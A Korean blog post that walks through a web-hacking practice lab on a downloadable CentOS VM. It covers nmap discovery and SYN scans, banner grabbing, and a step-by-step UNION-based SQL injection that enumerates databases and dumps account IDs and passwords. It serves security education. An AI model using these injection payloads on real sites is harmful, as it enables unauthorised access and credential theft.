Web Security DAY_007 웹 해킹 , 웹 모의 해킹 해보기 , 웹해킹실습 , sql injection , SQL 삽입공격 , 풋프린팅 , foot printing , nmap , 리눅스 포트 확인하기 , kali로 웹해킹하기 , DB 해킹 , MariaDB 해킹

2024. 1. 28. 19:58Information Security 정보보안/Web Security 웹 보안

728x90

배울내용:

웹 해킹

웹 모의 해킹 해보기

웹해킹실습

sql injection 

SQL 삽입공격

풋프린팅

foot printing 

nmap

리눅스 포트 확인하기 

kali로 웹해킹하기 

DB 해킹 

MariaDB 해킹 

 

 

 

 

 

이번시간은 이전시간에 배웠던걸 다 활용해서

웹 해킹을 해볼것이다

 

https://drive.google.com/file/d/1UnyrLCAdgWR8kSkudzNusV9HSGw2LQnl/view?usp=sharing

 

웹해킹실습1.zip

 

drive.google.com

 

 

 

이건 CentOS VM 이다 

이걸 VM 으로 키고 Kali 로 또는 웹사이트를 이용하여 

아래의 미션을 클리어 하라 

 

========================================================================================= 

=========================================================================================

 

[ MISSION ] 

 

 

 

 

현재 주워진거는 아무것도없다

IP 주소도 모른다 

직접 처음부터 IP 주소를 다 파악한뒤에 

congratulationszer02 가 비밀번호 인 계정을 찾아라! 

 

 

아래에는 힌트와 해석이 있다 

그러나 한번 1 시간~ 2시간 정도는 밑에 가지 않고 한번 풀어보길 바란다 

 

 

=========================================================================================

=========================================================================================

 

 

 

 

 

 

 

[ HINT ]

 

 

network 는 vmnet 8 에 192.168.10.0/24 를 쓰고 

 

nmap 과 풋프링팅 그외에 DB 에

 

SQL 인젝션으로 확인 해야한다 

 

 

 

 

 

=========================================================================================

=========================================================================================

 

 

 

아래에서 부터는 해석이 들어갑니다 

 

 

도무지 못풀겠을때 아래를 봐주세요 

 

 

시도해보지 않으면 실력도 지식도 안쌓입니다 

 

 

조금의 도전을 해준뒤에 도무지 안될때  그떄 내려주세요 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

1 . nmap 으로 ip 찾기

# nmap -sn [ ip 주소 ] 

 

Kali 로 가서 nmap 으로 먼저 

ip 를 찾는다 

 

 

nmap -sn 192.168.10.0/24

 

했을떄 

vm 의 dns 인 192.168.10.1 , 

dns인 192.168.10.2 와 192.168.10.254 

 , Kali의 ip 인 192.168.10.10 

을 제외한 

 

뒷자리가 55, 60 , 199 만 찾을수있다 

 

 

 

-sn: 이 옵션은 Nmap에게 포트 스캔을 수행하지 말고 호스트 발견만 수행하도록 지시합니다

 

 

 

2 .  Nmap  SYN Scanning 

nmap -sS [ IP주소 ] 

 

 

 

 

Nmap에서 TCP SYN 스캔을 수행하는 명령이다

이 스캔은 네트워크에서 호스트의 오픈된 포트를 찾고 식별하는 데 사용된다.

 

 

 

192.168.10.55 의 열린포트 

 

192.168.10.60 의 열린포트 

 

192.168.10.199 의 열린포트 

 

 

 

하나같이 똑같은 포트가 열려져 있는걸 볼수가있다

 

그런데 여기서 하나 눈치를 채야한다 

 

 

바로 

 

 

 

 

3 개 IP 모두 같은 MAC 주소인것을 알수있다 

 

즉 , 하나의 네트워크 인걸 알수있다 

 

 

 

 

 

 

3. 열린포트로 연결해보기 

 

 

 

우린 telnet 이 열려있었고 포트가 80 이 열려있던걸 봤다 

그렇게 한번 telnet 을 열었을때 정상적으로 연결된걸 볼수있고

400 Bad Request 라는게 떳고 

Server 가 Apache/2.4.6 (CentOS) PHP/5.4.16 인걸 알수있다 

 

 

우리는 이전시간에 이것또한 취약점인걸 ( Banner Grabbing  ) 배웠을것이다 

 

만약 기억이 안난다면 아래의 링크로 가보길 바란다 

 

https://sarimus.tistory.com/44

 

Web Security DAY_002 리눅스 기초 취약점 , OS 종류 노출 , ServerTokens Prod , 웹서버 대표오류 , intitle : ind

배울내용: 리눅스 기초 취약점 OS 종류 노출 ServerTokens Prod 웹서버 대표오류 intitle : index of intext : 에러메세지 구분 보호하기 banner grabbing 방어 ErrorDocument 설정 TCP Flag 3way handshake DocumentRoot 제가 지

sarimus.tistory.com

 

 

 

 

 

자이제 IP 를 찾았으니 한번 웹페이지에서 IP 주소를 입력해 들어가보자

 

 

 

 

 

 

 

이러면 이렇게 하나의 웹페이지가 나오는데 

 

 

 

게시판에서 아무글이나 넣고 하나 게시판 작성해준다

 

 

 

 

 

그러면 

 

 

 

 

 

 

이렇게 글작성된게 있는데 이걸 클릭하면 

 

 

 

 

 

 

이렇게 

글번호, 작성자, 글제목, 글내용, 등록일 이 나오는걸 볼수있다 

 

 

 

 

 

 

 

 

SQL Injection 

 

 

여기에서 

url 에 b_no=3 에서 

3을 0으로 바꾸고

 

'union select 1,1,1,1,1--+

 

이걸 추가한다 

 

그러면 

 

http://192.168.10.60/board_view.php?b_no=0 'union select 1,1,1,1,1--+

 

이렇게 되는데 바로 SQL 삽입 공격이다 

말그대로 ' 를 넣어 앞에서 명령어를 끝내고 union으로 합쳐준다 

 

물론 처음에는 select 1,1,1,1,1 인지 모른다 그래서

select 1 --+ 

select 1 ,1 --+ 

select 1 ,1 ,1 --+ 

select 1 ,1 ,1 ,1 --+ 

select 1 ,1 ,1 ,1 ,1 --+ 

 

글이 나올떄까지 ,1 을 추가해서 F5 해준다 

만약 

 

select 1 ,1 ,1 ,1 --+ 

 

이렇게 까지만하면 

 

 

이렇게 빈칸만 나오는걸 보지만 만약 1,1,1,1,1 로 해주면

 

 

 

이렇게 1 이 다 들어가있는걸 볼수있다 

 

여기서부터 DB 에 있는 기본 명령어들을 써볼수있다 

 

 

 

 

 

 

 

 

 

 

이번엔 이렇게 넣어보자 

 

http://192.168.10.60/board_view.php?b_no=0 'union select databases(),version() ,1,1,1--+

 

그러면 

 

 

 

 

bacubacu 라는 database 와  5.5.68-MariaDB 라는 version이 보이게 된다 

 

 

database():

  • 이 함수는 현재 데이터베이스 서버에 있는 모든 데이터베이스의 목록을 반환

version():

  • 이 함수는 데이터베이스 서버의 버전 정보를 반환

 

 

 

 

 

 

 

그뒤에 기본적으로 DB 를 만들떄 만들어지는 

information_schema 를 이용해서 어떤 column 들이 있는지 알아내야한다

 

http://192.168.10.60/board_view.php?b_no=0

' union select table_schema,table_name,column_name,1,1 

from information_schema.columns group by table_schema limit 0,1--+

 

 

(1번째) 

 

 

limit를 써서  1개씩 올려주면서 F5 하면

1번쨰~ N번쨰 까지 모두다 확인가능하다 

 

 

 

 

 

 limit 1,2--+

 

 

(2번쨰) 

 

 

 

 

 

 

 

 limit 2,3--+

 

 

(3번째) 

 

 

 

 

 

 

그렇게 똑같은 방법으로 1씩 늘리면서 찾으면

총 7 개의 DB 가 보이게 되는데 

 


bacubacu
hackmap
sevas
webhack 
mysql
information_schema
performance_schema

 

 

 

이중 맨아래 2 개 information_schema 와 performance_schema는 처음만들때 생성되는거니

무시하고 

 

 

[ DB ] 
 bacubacu
hackmap
sevas
webhack 
mysql

 

이렇게 5 개 만 남는다 

 

우리는 이것들을 DB 라는 이름으로 메모장에 적어두고 

이젠 이 DB 하나하나의 table 을 찾아야한다 

 

다른건 다 똑같이 해놓고 조건문을 하나 추가해준다 

where table_schema="bacubacu" 

 

 

 

그러면 아래처럼 되있고 
http://192.168.10.60/board_view.php?b_no=0' union select table_schema,table_name,column_name,1,1 from information_schema.columns  where table_schema='bacubacu' group by table_name limit 0,1--+

 

 

 

 limit를 1씩늘려주면 table 1번쨰, 2번째 를 찾는다 

 

 

 

그러면 

 

[TB]
<bacubacu>

b_tb , class

 

이렇게 2개의 table 이 있는걸 볼수있고 나머지 DB 도 똑같은 방법으로 하면 

 

<hackmap> b_tb , class
<webhack> b_tb , class
<sevas> b_tb , class

 

디똑같은 Table 이 들어가있는걸 볼수있다 

 

그러면 이제 Table 안에 있는 Column 를 찾을껀데 

 

where table_schema='bacubacu' and table_name='class'  

 

조건을 위와같이 추가해주고 다시 시도해본다 

 

http://192.168.10.60/board_view.php?b_no=0' union select 1,1,column_name,1,1 from information_schema.columns  where table_schema='bacubacu' and table_name='class'   limit 3,4 --+

 

 

 

 

 

 

 

그럼 class Table 안에 pw 들어가있는걸 볼수있고 

다른 것또한 limit 를 조정해 찾아보면 

아래와 같이 다 찾을수있다 

 

[DB]  bacubacu
[TB]  b_tb , class
[column]  
c_no , id ,  pw ,nick ,  join_date
b_no , subject , user , contents , reg_date  

 

 

여기에서는 어떤게 id 와 pw 인지 알수있으니 이제 새로운 쿼리문을 써준다 

 

 

' union select id,pw,1,1,1 from bacubacu.class limit 0,1--+

 

http://192.168.10.60/board_view.php?b_no=0' union select id,pw,1,1,1 from class limit 0,1--+

 

 

 

그러면 id 가 gorani 이고

pw 가 gogosing 인걸 볼수있다 이제 이 id 와 pw 를 가지고 로그인 해보자 

 

 

 

 

 

 

 

로그인이 안된다 아마 이 DB("bacubacu")  가 아닌것같다 

 

 

 

그러면 이제 

sevas, webhack, hackmap 중에서  다 살펴 봐야하는데

hackmap 먼저 보자 

 

 

 hackmap 또한 column이 bacubacu DB 와 같았다 

그래서 아까 와 같이 

 

' union select id,pw,1,1,1 from hackmap.class limit 0,1--+

 

이부분만 바꿔주면 

 

 

 

http://192.168.10.60/board_view.php?b_no=0' union select id,pw,1,1,1 from hackmap.class limit 0,1--+

 

이번에는 Id 가 test 이고

pw 가 asd123 있는걸 볼수있다 

 

 

 

 

 

이제 이 ID 와 PW 를 가지고 로그인해보면 

 

 

 

 

 

 

 

 

 

 

 

 

성공적으로 로그인이 된걸볼수있다 

즉, 제대로된 DB 를 찾은것이다 

 

그럼아까 같은 방식으로 limit 만 조절하면 

 

 

 

test/ asd123
hack/ ilikehack
sevas /   sevasgood
websecure/ secure123
gozilra/gogosing

 

이렇게 여러가지의 ID 와 PW 가 나오다가 도무지 못찾을것같아서 

조건을 하나더 준다 

 

우리가 찾아야할것은 비밀번호가 congratulationszer02 인것만 찾으면 된다 

 

 

그러면 아래와 같이 조건을 추가할수있다 

 

'union select id,pw,1,1,1 from hackmap.class where pw="congratulationszer02" limit 0,1--+ 

 

 

 

 

 

http://192.168.10.60/board_view.php?b_no=0 'union select id,pw,1,1,1 from hackmap.class where pw="congratulationszer02" limit 0,1--+ 

 

이걸 다시 url 에 넣고 F5 를 누르면 

 

 

 

 

 

 

pw 가 congratulationszer02 인 계정은 

webadmin 인걸 알수있다 

 

 

이제 이계정을 로그인 해보면 

 

 

 

이렇게 웹관리자라는 계정으로 로그인이 성공된다

 

 

이렇게 실습이 완료가 되는것이다 

 

필자는 2시간 투자했지만  쿼리문까지는 다활용하여 

bacubacu 라는것과 id 와 pw 를 찾았지만 제대로된 DB 를 못고르는 함점에 빠져

못찾았다 

 

그리고 필기를 안해두니깐 멘붕이 왔던것 같다 

하나하나 해보면서 어떤 부분에 어떤게 들어가있는지 확실하게 기록해두는게 필요했다

 

 

 

 

다음에 또 실습이 있을건데 그때는 한번만에 통과해보겠다 

 

 

그럼 20000 

728x90